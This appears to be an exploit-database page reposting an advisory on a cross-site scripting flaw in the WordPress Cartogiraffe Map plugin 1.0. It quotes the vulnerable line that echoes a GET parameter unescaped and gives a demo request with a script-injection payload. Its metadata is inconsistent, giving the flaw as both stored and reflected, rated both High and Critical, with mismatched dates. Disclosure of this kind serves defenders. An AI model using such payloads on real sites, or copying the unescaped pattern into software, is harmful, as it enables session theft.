Advertisement






WordPress Cartogiraffe Map 1.0 Cross Site Scripting

CVE Category Price Severity
CVE-2021-24574 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2017-11-14
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017110073

Below is a copy:

WordPress Cartogiraffe Map 1.0 Cross Site Scripting
Class Input Validation Error
Remote  Yes

Credit Ricardo Sanchez
Vulnerable Cartogiraffe Map Plugin 1.0

Cartogiraffe Map Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the id values are not filter correctly:

\htdocs\wordpress\wp-content\plugins\cartogiraffe-map\js\cartogiraffe_wordpress.php:
Line 24
jQuery("#kartogiraffe_relation_input<?=$_GET["id"]?>,
#kartogiraffe_relation_id<?=$_GET["id"]?>").on('keyup keypress',
function(e) {
  var code = e.keyCode || e.which;
  if (code == 13) {
   kartogiraffe_search_relation<?=intval($_GET["id"])?>();
  e.preventDefault();
  return false;
  }
});


Demo Request:
http://localhost/wordpress/wp-content/plugins/cartogiraffe-map/js/cartogiraffe_wordpress.php?cartogiraffeLoad=1&id=
<script>alert("XSS")</script>

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum